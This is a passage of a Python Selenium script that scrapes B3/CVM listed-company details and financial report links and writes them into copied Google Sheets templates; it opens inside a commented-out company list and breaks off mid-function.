['20966', 'SPRINGS', 'SPRINGS GLOBAL PARTICIPACOES S.A.', 'NM'],\n        #                 ['24201', 'STARA', 'STARA S.A. - INDÚSTRIA DE IMPLEMENTOS AGRÍCOLAS', 'MA'],\n        #                 ['22594', 'STATKRAFT', 'STATKRAFT ENERGIAS RENOVAVEIS S.A.', ' '],\n        #                 ['16586', 'SUDESTE S/A', 'SUDESTE S.A.', 'MB'],\n        #                 ['16438', 'SUL 116 PART', 'SUL 116 PARTICIPACOES S.A.', 'MB'],\n        #                 ['21121', 'SUL AMERICA', 'SUL AMERICA S.A.', 'N2'],\n        #                 ['9067', 'SUZANO HOLD', 'SUZANO HOLDING S.A.', ' '],\n        #                 ['13986', 'SUZANO S.A.', 'SUZANO S.A.', 'NM'],\n        #                 ['22454', 'TIME FOR FUN', 'T4F ENTRETENIMENTO S.A.', 'NM'],\n        #                 ['6173', 'TAURUS ARMAS', 'TAURUS ARMAS S.A.', 'N2'],\n        #                 ['24066', 'TCP TERMINAL', 'TCP TERMINAL DE CONTEINERES DE PARANAGUA SA', ' '],\n        #                 ['22519', 'TECHNOS', 'TECHNOS S.A.', 'NM'], ['20435', 'TECNISA', 'TECNISA S.A.', 'NM'],\n        #                 ['11207', 'TECNOSOLO', 'TECNOSOLO ENGENHARIA S.A.', ' '],\n        #                 ['20800', 'TEGMA', 'TEGMA GESTAO LOGISTICA S.A.', 'NM'],\n        #                 ['11223', 'TEKA', 'TEKA-TECELAGEM KUEHNRICH S.A.', ' '],\n        #                 ['11231', 'TEKNO', 'TEKNO S.A. - INDUSTRIA E COMERCIO', ' '],\n        #                 ['11258', 'TELEBRAS', 'TELEC BRASILEIRAS S.A. TELEBRAS', ' '],\n        #                 ['17671', 'TELEF BRASIL', 'TELEFÔNICA BRASIL S.A', ' '],\n        #                 ['23329', 'TERM. PE III', 'TERMELÉTRICA PERNAMBUCO III S.A.', ' '],\n        #                 ['18538', 'MENEZES CORT', 'TERMINAL GARAGEM MENEZES CORTES S.A.', 'MB'],\n        #                 ['19852', 'TERMOPE', 'TERMOPERNAMBUCO S.A.', ' '],\n        #                 ['20354', 'TERRA SANTA', 'TERRA SANTA AGRO S.A.', 'NM'],\n        #                 ['7544', 'TEX RENAUX', 'TEXTIL RENAUXVIEW S.A.', ' '],\n        #                 ['17639', 'TIM PART S/A', 'TIM PARTICIPACOES S.A.', 'NM'],\n        #                 ['19992', 'TOTVS', 'TOTVS S.A.', 'NM'],\n        #                 ['19330', 'TRIUNFO PART', 'TPI - TRIUNFO PARTICIP. E INVEST. S.A.', 'NM'],\n        #                 ['20257', 'TAESA', 'TRANSMISSORA ALIANÇA DE ENERGIA ELÉTRICA S.A.', 'N2'],\n        #                 ['8192', 'TREVISA', 'TREVISA INVESTIMENTOS S.A.', ' '],\n        #                 ['23060', 'TRIANGULOSOL', 'TRIÂNGULO DO SOL AUTO-ESTRADAS S.A.', ' '],\n        #                 ['21130', 'TRISUL', 'TRISUL S.A.', 'NM'],\n        #                 ['11398', 'CRISTAL', 'TRONOX PIGMENTOS DO BRASIL S.A.', ' '],\n        #                 ['22276', 'TRUESEC', 'TRUE SECURITIZADORA S.A.', ' '], ['6343', 'TUPY', 'TUPY S.A.', 'NM'],\n        #                 ['18465', 'ULTRAPAR', 'ULTRAPAR PARTICIPACOES S.A.', 'NM'],\n        #                 ['22780', 'UNICASA', 'UNICASA INDÚSTRIA DE MÓVEIS S.A.', 'NM'],\n        #                 ['21555', 'UNIDAS', 'UNIDAS S.A.', ' '], ['11592', 'UNIPAR', 'UNIPAR CARBOCLORO S.A.', ' '],\n        #                 ['16624', 'UPTICK', 'UPTICK PARTICIPACOES S.A.', 'MB'],\n        #                 ['14320', 'USIMINAS', 'USINAS SID DE MINAS GERAIS S.A.-USIMINAS', 'N1'],\n        #                 ['4170', 'VALE', 'VALE S.A.', 'NM'], ['20028', 'VALID', 'VALID SOLUÇÕES S.A.', 'NM'],\n        #                 ['23990', 'VERTCIASEC', 'VERT COMPANHIA SECURITIZADORA', ' '],\n        #                 ['6505', 'VIAVAREJO', 'VIA VAREJO S.A.', 'NM'],\n        #                 ['24805', 'VIVARA S.A.', 'VIVARA PARTICIPAÇOES S.A', 'NM'],\n        #                 ['20702', 'VIVER', 'VIVER INCORPORADORA E CONSTRUTORA S.A.', 'NM'],\n        #                 ['11762', 'VULCABRAS', 'VULCABRAS/AZALEIA S.A.', 'NM'], ['5410', 'WEG', 'WEG S.A.', 'NM'],\n        #                 ['11991', 'WETZEL S/A', 'WETZEL S.A.', ' '], ['14346', 'WHIRLPOOL', 'WHIRLPOOL S.A.', ' '],\n        #                 ['80047', 'WILSON SONS', 'WILSON SONS LTD.', 'DR3'],\n        #                 ['23590', 'WIZ S.A.', 'WIZ SOLUÇÕES E CORRETAGEM DE SEGUROS S.A.', 'NM'],\n        #                 ['11070', 'WLM IND COM', 'WLM PART. E COMÉRCIO DE MÁQUINAS E VEÍCULOS S.A.', ' '],\n        #                 ['21016', 'YDUQS PART', 'YDUQS PARTICIPACOES S.A.', 'NM']]\n        # print('debug b3_companies', b3_companies)\n        # return b3_companies\n\n        print('LOAD page of companies')\n        url = main_url\n        btnTodas = '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_btnTodas\"]'\n        table_company = '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]'\n        row_company = '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]/tbody/tr'\n        col_company = '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]/tbody/tr[1]/td'\n\n        browser.get(url)\n        browser.minimize_window()\n\n        # load\n        assert (EC.element_to_be_clickable((By.XPATH, btnTodas)))\n        wait.until(EC.element_to_be_clickable((By.XPATH, btnTodas)))\n        # click\n        browser.find_element(By.XPATH, btnTodas).click()\n        # load\n        assert (EC.presence_of_element_located((By.XPATH, table_company)))\n        wait.until(EC.presence_of_element_located((By.XPATH, table_company)))\n        # get lenght\n        rowsA = len(browser.find_elements(By.XPATH, row_company))\n        colsA = len(browser.find_elements(By.XPATH, col_company))\n        # get data\n        for r in range(1, rowsA + 1):\n            row = [browser.find_element(By.XPATH,\n                                        '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]/tbody/tr[' + str(\n                                            r) + ']/td[1]/a').get_attribute('href').split(\"=\") [1],\n                   browser.find_element_by_xpath(\n                       '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]/tbody/tr[' + str(\n                           r) + ']/td[2]').text, browser.find_element_by_xpath(\n                    '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]/tbody/tr[' + str(\n                        r) + ']/td[1]').text, browser.find_element_by_xpath(\n                    '//*[@id=\"ctl00_contentPlaceHolderConteudo_BuscaNomeEmpresa1_grdEmpresa_ctl01\"]/tbody/tr[' + str(\n                        r) + ']/td[3]').text]\n            b3_companies.append(row)\n            if r % 50 == 0:\n                print(r)\n        print(rowsA)\n        print('...done')\n        return b3_companies\n    except Exception as e:\n        restart(e, __name__)\ndef getCompanyMainPage(company):\n    try:\n        # print('...get details', company [col ['PREGÃO']])\n        browser.get(cvm_url + company [col ['CMV']])\n        # browser.minimize_window()\n\n        wait.until(EC.presence_of_element_located((By.XPATH, '/html/body')))\n        company [col [\n            'LINK']] = 'http://bvmf.bmfbovespa.com.br/cias-listadas/empresas-listadas/ResumoEmpresaPrincipal.aspx?codigoCvm=' + \\\n                       company [col ['CMV']]\n        company [col ['DATA']] = datetime.strptime(\n            getCompanyItem('/html/body/', 'div[1]/div[1]').replace('Atualizado em ', '').replace(', às', ''),\n            '%d/%m/%Y %Hh%M').strftime(\"%d/%m/%Y %H:%M:00\")\n        company [col ['SITE']] = getCompanyItem('/html/body/div[2]/div[1]/ul/li[1]/div', '/table/tbody/tr[6]/td[2]')\n        company [col ['CNPJ']] = getCompanyItem('/html/body/div[2]/div[1]/ul/li[1]/div', '/table/tbody/tr[3]/td[2]')\n        company [col ['TICKER']] = ' '.join(re.split(' ', getCompanyItem('/html/body/div[2]/div[1]/ul/li[1]/div',\n                                                                         '/table/tbody/tr[2]/td[2]').replace(\n            'Mais Códigos\\n', '').replace(';', '')))\n        setores = re.split(' / ', getCompanyItem('/html/body/div[2]/div[1]/ul/li[1]/div', '/table/tbody/tr[5]/td[2]'))\n        company [col ['SETOR']] = setores [0]\n        company [col ['SUBSETOR']] = setores [1]\n        company [col ['SEGMENTO']] = setores [2]\n        company [col ['ATIVIDADE']] = getCompanyItem('/html/body/div[2]/div[1]/ul/li[1]/div',\n                                                     '/table/tbody/tr[4]/td[2]')\n        company [col ['LOG']] = '1 company'\n        company [col ['TIMESTAMP']] = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef getCompanyItem(base_xpath, xpath):\n    try:\n        try:\n            item = browser.find_element(By.XPATH, base_xpath + xpath).text\n        except:\n            item = browser.find_element(By.XPATH, base_xpath + '/div/div[1]' + xpath).text\n        return item\n    except Exception as e:\n        pass\ndef createSheetReports(company):\n    try:\n        name = {'name': 'S - ' + str(\n            company [col ['SETOR']] [:5] + ' / ' + company [col ['SUBSETOR']] [:5] + ' / ' + company [\n                                                                                                 col ['SEGMENTO']] [\n                                                                                             :5] + ' - ' + company [\n                                                                                                               col [\n                                                                                                                   'TICKER']] [\n                                                                                                           :4].replace(\n                'Nenh',\n                'NONE') + ' - ' +\n            company [col ['PREGÃO']] + ' - ' + company [col ['EMPRESA']] + ' - ' + company [col ['CMV']])}\n        newsheet = gdrive.files().copy(fileId=report_sheet, body=name).execute()\n        company_id_reports = newsheet.get('id')\n        company [col ['REPORTS']] = sheet_url + company_id_reports\n        permission_user = {\n            'type': 'user',\n            'role': 'writer',\n            'emailAddress': CLIENT_EMAIL\n        }\n        # print('PLEASE REMEMBER TO REACTIVATE PERMISSIONS IN 24h')\n        # permission = gdrive.permissions().create(fileId=company_id_reports, body=permission_user, fields=\"id\").execute()\n        # permission_id = permission.get('id')\n\n        # print('...create sheet', company [col ['PREGÃO']], company_id_reports)\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef createSheetFundamentos(company):\n    try:\n        name = {'name': 'F - ' + str(\n            company [col ['SETOR']] [:5] + ' / ' + company [col ['SUBSETOR']] [:5] + ' / ' + company [\n                                                                                                 col ['SEGMENTO']] [\n                                                                                             :5] + ' - ' + company [\n                                                                                                               col [\n                                                                                                                   'TICKER']] [\n                                                                                                           :4].replace(\n                'Nenh',\n                'NONE') + ' - ' +\n            company [col ['PREGÃO']] + ' - ' + company [col ['EMPRESA']] + ' - ' + company [col ['CMV']])}\n        newsheet = gdrive.files().copy(fileId=fundament_sheet, body=name).execute()\n        company_id_fundamentos = newsheet.get('id')\n        company [col ['FUNDAMENTOS']] = sheet_url + company_id_fundamentos\n        permission_user = {\n            'type': 'user',\n            'role': 'writer',\n            'emailAddress': CLIENT_EMAIL\n        }\n        # print('PLEASE REMEMBER TO REACTIVATE PERMISSIONS IN 24h')\n        # permission = gdrive.permissions().create(fileId=company_id_reports, body=permission_user, fields=\"id\").execute()\n        # permission_id = permission.get('id')\n\n        # print('...create sheet', company [col ['PREGÃO']], company_id_fundamentos)\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef setCompanyMainPage(company):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n        loadCompanyReportsSheets(company)\n\n        # update company sheet\n        report_sheet_index.resize(6, 6)\n        report_sheet_index.update_acell('F4', company [col ['CMV']])\n        report_sheet_index.update_acell('A1', company [col ['PREGÃO']])\n        report_sheet_index.update_acell('F1', company [col ['EMPRESA']])\n        report_sheet_index.update_acell('D4', company [col ['MERCADO']])\n        # report_sheet_index.update_acell('A1', company[col['LINK']])\n        # report_sheet_index.update_acell('A1', company[col['REPORTS']])\n        report_sheet_index.update_acell('F2', company [col ['DATA']])\n        report_sheet_index.update_acell('A3', company [col ['SITE']])\n        report_sheet_index.update_acell('F3', company [col ['CNPJ']])\n        report_sheet_index.update_acell('E4', company [col ['TICKER']])\n        report_sheet_index.update_acell('A4', company [col ['SETOR']])\n        report_sheet_index.update_acell('B4', company [col ['SUBSETOR']])\n        report_sheet_index.update_acell('C4', company [col ['SEGMENTO']])\n        report_sheet_index.update_acell('A2', company [col ['ATIVIDADE']])\n        # print('...set details', company [col ['PREGÃO']])\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef setCompanyFundamentos(company):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n        loadCompanyFundamentosSheets(company)\n        # global fundamentos_sheet_index\n        # global fundamentos_sheet_reports\n\n        # update company sheet\n        fundamentos_sheet_index.resize(6, 6)\n        fundamentos_sheet_reports.resize(2, 9)\n        range1 = 'index!A:ZZZ'\n        range2 = 'reports!A2:H'\n        fundamentos_sheet_index.update_acell('A1', '=IMPORTRANGE(\"' + company [col ['REPORTS']] + '\";\"' + range1 + '\")')\n        fundamentos_sheet_reports.update_acell('A2', '=IMPORTRANGE(\"' + company [col ['REPORTS']] + '\";\"' + range2 + '\")')\n\n        # print('...set details', company [col ['PREGÃO']])\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef setb3Company(company):\n    try:\n        global google\n        if google != True:\n            google = googleAPI()\n\n        # print('...update listagem', company [col ['PREGÃO']])\n        return company\n    except Exception as e:\n        restart(e, __name__)\ndef getSheetCompanyReports(company):\n    try:\n        loadCompanyReportsSheets(company)\n\n        sheet_report_list = report_sheet_index.get_all_values()\n        # sheet_data = report_sheet_reports.get_all_values()\n        sheet_report_list = [line for line in sheet_report_list if 'bmfbovespa.com.br' in line [0] or 'rad.cvm.gov.br' in line [0]]\n        for r, row in enumerate(sheet_report_list):\n            del sheet_report_list [r] [-1]\n        return sheet_report_list\n    except Exception as e:\n        restart(e, __name__)\ndef getb3CompanyReports(company):\n    try:\n        b3_reports = []\n        dfp = getb3CompanyReportList(company, 'dfp')\n        # dfp = [[\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=81946&CodigoTipoInstituicao=2',\n        #     '81946', '31/12/2018', 'Demonstrações Financeiras Padronizadas', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=72981&CodigoTipoInstituicao=2',\n        #     '72981', '31/12/2017', 'Demonstrações Financeiras Padronizadas', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=64150&CodigoTipoInstituicao=2',\n        #     '64150', '31/12/2016', 'Demonstrações Financeiras Padronizadas', 'Versão 3.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=54919&CodigoTipoInstituicao=2',\n        #     '54919', '31/12/2015', 'Demonstrações Financeiras Padronizadas', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=47330&CodigoTipoInstituicao=2',\n        #     '47330', '31/12/2014', 'Demonstrações Financeiras Padronizadas', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=35867&CodigoTipoInstituicao=2',\n        #     '35867', '31/12/2013', 'Demonstrações Financeiras Padronizadas', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=26297&CodigoTipoInstituicao=2',\n        #     '26297', '31/12/2012', 'Demonstrações Financeiras Padronizadas', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=15636&CodigoTipoInstituicao=2',\n        #     '15636', '31/12/2011', 'Demonstrações Financeiras Padronizadas', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=5715&CodigoTipoInstituicao=2',\n        #     '5715', '31/12/2010', 'Demonstrações Financeiras Padronizadas', 'Versão 1.0'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=31/12/2009&tipo=2',\n        #     '21725', '31/12/2009', 'Demonstrações Financeiras Padronizadas', 'Apresentação'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=31/12/2008&tipo=2',\n        #     '21725', '31/12/2008', 'Demonstrações Financeiras Padronizadas', 'Apresentação']]\n        # print('debug dfp', dfp)\n        b3_reports.extend(dfp)\n        itr = getb3CompanyReportList(company, 'itr')\n        # itr = [[\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=89680&CodigoTipoInstituicao=2',\n        #     '89680', '30/09/2019', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=86702&CodigoTipoInstituicao=2',\n        #     '86702', '30/06/2019', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=83730&CodigoTipoInstituicao=2',\n        #     '83730', '31/03/2019', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=80252&CodigoTipoInstituicao=2',\n        #     '80252', '30/09/2018', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=78058&CodigoTipoInstituicao=2',\n        #     '78058', '30/06/2018', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=74580&CodigoTipoInstituicao=2',\n        #     '74580', '31/03/2018', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=71504&CodigoTipoInstituicao=2',\n        #     '71504', '30/09/2017', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=70223&CodigoTipoInstituicao=2',\n        #     '70223', '30/06/2017', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=66982&CodigoTipoInstituicao=2',\n        #     '66982', '31/03/2017', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=61030&CodigoTipoInstituicao=2',\n        #     '61030', '30/09/2016', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=59081&CodigoTipoInstituicao=2',\n        #     '59081', '30/06/2016', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=56612&CodigoTipoInstituicao=2',\n        #     '56612', '31/03/2016', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=51881&CodigoTipoInstituicao=2',\n        #     '51881', '30/09/2015', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=50475&CodigoTipoInstituicao=2',\n        #     '50475', '30/06/2015', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=48431&CodigoTipoInstituicao=2',\n        #     '48431', '31/03/2015', 'Informações Trimestrais', 'Versão 2.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=42676&CodigoTipoInstituicao=2',\n        #     '42676', '30/09/2014', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=40652&CodigoTipoInstituicao=2',\n        #     '40652', '30/06/2014', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=37603&CodigoTipoInstituicao=2',\n        #     '37603', '31/03/2014', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=33117&CodigoTipoInstituicao=2',\n        #     '33117', '30/09/2013', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=30782&CodigoTipoInstituicao=2',\n        #     '30782', '30/06/2013', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=27303&CodigoTipoInstituicao=2',\n        #     '27303', '31/03/2013', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=22651&CodigoTipoInstituicao=2',\n        #     '22651', '30/09/2012', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=20619&CodigoTipoInstituicao=2',\n        #     '20619', '30/06/2012', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=19334&CodigoTipoInstituicao=2',\n        #     '19334', '31/03/2012', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=13049&CodigoTipoInstituicao=2',\n        #     '13049', '30/09/2011', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=11121&CodigoTipoInstituicao=2',\n        #     '11121', '30/06/2011', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=8089&CodigoTipoInstituicao=2',\n        #     '8089', '31/03/2011', 'Informações Trimestrais', 'Versão 1.0'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=30/09/2010&tipo=4',\n        #     '21725', '30/09/2010', 'Informações Trimestrais', 'Reapresentação'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=30/06/2010&tipo=4',\n        #     '21725', '30/06/2010', 'Informações Trimestrais', 'Reapresentação'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=31/03/2010&tipo=4',\n        #     '21725', '31/03/2010', 'Informações Trimestrais', 'Reapresentação'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=30/09/2009&tipo=4',\n        #     '21725', '30/09/2009', 'Informações Trimestrais', 'Apresentação'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=30/06/2009&tipo=4',\n        #     '21725', '30/06/2009', 'Informações Trimestrais', 'Apresentação'], [\n        #     'http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?site=B&mercado=1&razao=ADVANCED DIGITAL HEALTH MEDICINA PREVENTIVA S.A.&pregao=ADVANCED-DH&ccvm=21725&data=31/03/2009&tipo=4',\n        #     '21725', '31/03/2009', 'Informações Trimestrais', 'Apresentação']]\n        # print('debug itr', itr)\n        b3_reports.extend(itr)\n\n        for i, item in enumerate(b3_reports):\n            data = datetime.strptime(item [2], '%d/%m/%Y')\n            b3_reports [i] [2] = data.strftime('%Y') + '/' + data.strftime('%m') + '/' + data.strftime('%d')\n        return b3_reports\n    except Exception as e:\n        restart(e, __name__)\ndef getb3CompanyReportList(company, report):\n    try:\n        print('... Company Reports', report)\n        link = 'http://bvmf.bmfbovespa.com.br/cias-listadas/empresas-listadas/HistoricoFormularioReferencia.aspx?codigoCVM=' + \\\n               company [col ['CMV']] + '&tipo=' + report + '&ano=0&idioma=pt-br'\n        # load company report page\n        browser.get(link)\n        browser.minimize_window()\n\n        assert (\n            EC.presence_of_element_located((By.XPATH, '//*[@id=\"ctl00_contentPlaceHolderConteudo_divDemonstrativo\"]')))\n        wait.until(\n            EC.presence_of_element_located((By.XPATH, '//*[@id=\"ctl00_contentPlaceHolderConteudo_divDemonstrativo\"]')))\n        links = browser.find_elements(By.TAG_NAME, 'a')\n        list_of_reports = reportLinkParser(company, links)\n        return list_of_reports\n    except Exception as e:\n        restart(e, __name__)\ndef reportLinkParser(company, links):\n    try:\n        list_of_reports = []\n        pub_date = ''\n        for link in links:\n            # check if report is newer\n            text = str(link.text)\n            href = str(link.get_attribute('href'))\n            if text:\n                if pub_date != text.split(\" - \") [0]:\n                    # parse new style links\n                    if 'AbreFormularioCadastral' in href:\n                        report = href.replace(\"&CodigoTipoInstituicao=2')\", \"\").replace(\n                            \"javascript:AbreFormularioCadastral('http://www.rad.cvm.gov.br/ENETCONSULTA/frmGerenciaPaginaFRE.aspx?NumeroSequencialDocumento=\",\n                            \"\")\n                        link = href.replace(\"')\", \"\").replace(\"javascript:AbreFormularioCadastral('\", \"\")\n                        report_item = [link, report, text.split(\" - \") [0], text.split(\" - \") [1],\n                                       text.split(\" - \") [2]]\n                        list_of_reports.append(report_item)\n                    # parse old style links\n                    if 'ConsultarDXW' in href:\n                        report = href.replace(\"')\", \"\").replace(\n                            \"javascript:ConsultarDXW('http://www2.bmfbovespa.com.br/dxw/FrDXW.asp?\", \"\")\n                        link = href.replace(\"')\", \"\").replace(\"javascript:ConsultarDXW('\", \"\")\n                        report_item = [link, company [col ['CMV']], text.split(\" - \") [0], text.split(\" - \") [1],\n                                       text.split(\" - \") [2]]\n                        list_of_reports.append(report_item)\n                pub_date = text.split(\" - \") [0]\n        return list_of_reports\n    except Exception as e:\n        restart(e, __name__)\ndef reportContentRAD_Dados(company, row):\n    # this is where the magic gets downloaded\n    # company\n    # url = row[0]\n    # relat = row[2]\n    # optA = row[3]\n    # optB = row[4]\n    global url\n    global google\n    if google != True:\n        google = googleAPI()\n    try:\n\n        if url != row[0]:\n            browser.get(row[0])\n        if 'Dados' in row[2]:\n            xpathA = '//*[@id=\"cmbGrupo\"]'\n            xpathB = '//*[@id=\"cmbQuadro\"]'\n            frame_name = 'iFrameFormulariosFilho'\n            frame = '//*[@id=\"iFrameFormulariosFilho\"]'\n            table = '//*[@id=\"UltimaTabela\"]'\n\n        browser.switch_to.default_content()\n        # find correct options A\n        browser.find_element(By.XPATH, xpathA)\n        wait.until(EC.presence_of_element_located((By.XPATH, xpathA)))\n        selectA = Select(browser.find_element(By.XPATH, xpathA))\n        selectA.select_by_visible_text(row [3])\n        time.sleep(2)\n\n        # find correct options B\n        browser.find_element(By.XPATH, xpathB)\n        wait.until(EC.presence_of_element_located((By.XPATH, xpathB)))\n        selectB = Select(browser.find_element(By.XPATH, xpathB))\n        selectB.select_by_visible_text(row [4])\n        time.sleep(2)\n\n        # focus and prepare for content\n        wait.until(EC.presence_of_element_located((By.XPATH, frame)))\n        browser.switch_to.frame(frame_name)\n        time.sleep(2)\n\n        wait.until(EC.presence_of_element_located((By.XPATH, table)))\n        time.sleep(2)\n\n        report = []\n        col = []\n        col.append(company[1].strip())\n        